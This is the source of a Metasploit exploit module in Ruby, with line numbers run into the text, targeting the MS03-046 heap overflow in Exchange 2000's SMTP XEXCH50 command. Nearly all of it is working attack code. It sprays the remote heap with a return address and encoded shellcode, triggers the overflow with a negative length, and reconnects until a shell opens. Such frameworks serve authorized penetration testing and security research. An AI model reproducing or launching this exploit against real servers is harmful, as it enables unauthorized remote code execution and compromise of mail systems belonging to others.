Path: blob/master/modules/exploits/windows/smtp/ms03_046_exchange2000_xexch50.rb
21628 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'MS03-046 Exchange 2000 XEXCH50 Heap Overflow',15'Description' => %q{16This is an exploit for the Exchange 2000 heap overflow. Due17to the nature of the vulnerability, this exploit is not very18reliable. This module has been tested against Exchange 200019SP0 and SP3 running a Windows 2000 system patched to SP4. It20normally takes between one and 100 connection attempts to21successfully obtain a shell. This exploit is *very* unreliable.22},23'Author' => [24'hdm', # original module25'aushack', # msf3 port :)26],27'References' => [28[ 'CVE', '2003-0714' ],29[ 'BID', '8838' ],30[ 'OSVDB', '2674' ],31[ 'MSB', 'MS03-046' ],32[ 'EDB', '113' ],33],34'DefaultOptions' => {35'EXITFUNC' => 'seh',36},37'Platform' => 'win',38'Privileged' => true,39'Payload' => {40'Space' => 1024,41'BadChars' => "\x00\x0a\x0d\x20:=+\x22",42'StackAdjustment' => -3500,43},44'Targets' => [45[ 'Exchange 2000', { 'Ret' => 0x0c900c90, 'BuffLen' => 3000, 'Offset1' => 11000, 'Offset2' => 512 } ],46],47'DefaultTarget' => 0,48'DisclosureDate' => '2003-10-15',49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59Opt::RPORT(25),60OptString.new('MAILFROM', [ true, 'The FROM address of the e-mail', '[email protected]']),61OptString.new('MAILTO', [ true, 'The TO address of the e-mail', 'administrator']),62OptInt.new('ATTEMPTS', [ true, 'The number of exploit attempts before halting', 100]),63]64)65end6667def check68connect69banner = sock.get_once || ''7071if (banner !~ /Microsoft/)72print_status("Target does not appear to be an Exchange server.")73return Exploit::CheckCode::Safe74end7576sock.put("EHLO #{Rex::Text.rand_text_alpha(1)}\r\n")77res = sock.get_once || ''78if (res !~ /XEXCH50/)79print_status("Target does not appear to be an Exchange server.")80return Exploit::CheckCode::Safe81end82sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")83res = sock.get_once || ''8485if (res =~ /Sender OK/)86sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")87res = sock.get_once || ''88if (res =~ /250/)89sock.put("XEXCH50 2 2\r\n")90res = sock.get_once || ''91if (res !~ /Send binary data/)92print_error("Target has been patched!")93return Exploit::CheckCode::Detected94else95return Exploit::CheckCode::Appears96end97end98end99100disconnect101end102103def smtp_setup(count)104print_status("Exploit attempt ##{count}")105106connect107select(nil, nil, nil, 1)108banner = sock.get_once || ''109print_status("Connected to SMTP server: #{banner.to_s}")110111if (banner !~ /Microsoft/)112print_status("Target does not appear to be running Exchange.")113return114end115116select(nil, nil, nil, 5)117sock.put("EHLO X\r\n")118select(nil, nil, nil, 7)119res = sock.get_once || ''120121if (res !~ /XEXCH50/)122print_status("Target is not running Exchange.")123return124end125126sock.put("MAIL FROM: #{datastore['MAILFROM']}\r\n")127select(nil, nil, nil, 3)128129sock.put("RCPT TO: #{datastore['MAILTO']}\r\n")130select(nil, nil, nil, 3)131end132133def exploit134bufflen = target['BuffLen']135print_status("Trying to exploit #{target.name} with address 0x%.8x..." % target['Ret'])136count = 1 # broke137138begin139if (count > datastore['ATTEMPTS'])140print_error("Exploit failed after #{datastore['ATTEMPTS']}. Set ATTEMPTS to a higher value if desired.")141return # Stop after a specified number of attempts.142end143144if (session_created?)145return # Stop the attack. Non-session payloads will continue regardless up to ATTEMPTS.146end147148while (true)149if (smtp_setup(count))150print_status("Connection 1: ")151end152153sock.put("XEXCH50 2 2\r\n")154select(nil, nil, nil, 3)155res = sock.get_once156print_status("#{res}")157if (res !~ /Send binary data/)158print_status("Target is not vulnerable.")159return # commented out for the moment160end161162sock.put("XX")163164print_status("ALLOC")165166size = 1024 * 1024 * 32167168sock.put("XEXCH50 #{size} 2\r\n")169select(nil, nil, nil, 3)170171sploit = (([target['Ret']].pack('V')) * 256 * 1024 + payload.encoded + ("X" * 1024)) * 4 + "BEEF"172173print_status("Uploading shellcode to remote heap.")174175if (sock.put(sploit))176print_status("\tOK.")177end178179print_status("Connection 2: ")180smtp_setup(count) # Connection 2181182sock.put("XEXCH50 -1 2\r\n") # Allocate negative value183select(nil, nil, nil, 2)184res = sock.get_once || ''185186if (!res)187print_error("Error - no response")188end189190print_status("OK")191192bufflen += target['Offset2']193194if (bufflen > target['Offset1'])195bufflen = target['BuffLen']196end197198heapover = [target['Ret']].pack('V') * bufflen199print_status("Overwriting heap with payload jump (#{bufflen})")200sock.put(heapover)201202print_status("Starting reconnect sequences...")20320410.times do |x|205print_status("Connect #{x}")206connect207sock.put("HELO X\r\n")208disconnect209end210end211rescue212print_status("Unable to connect or Exchange has crashed... Retrying.")213count += 1214retry215end216217disconnect218end219end220221222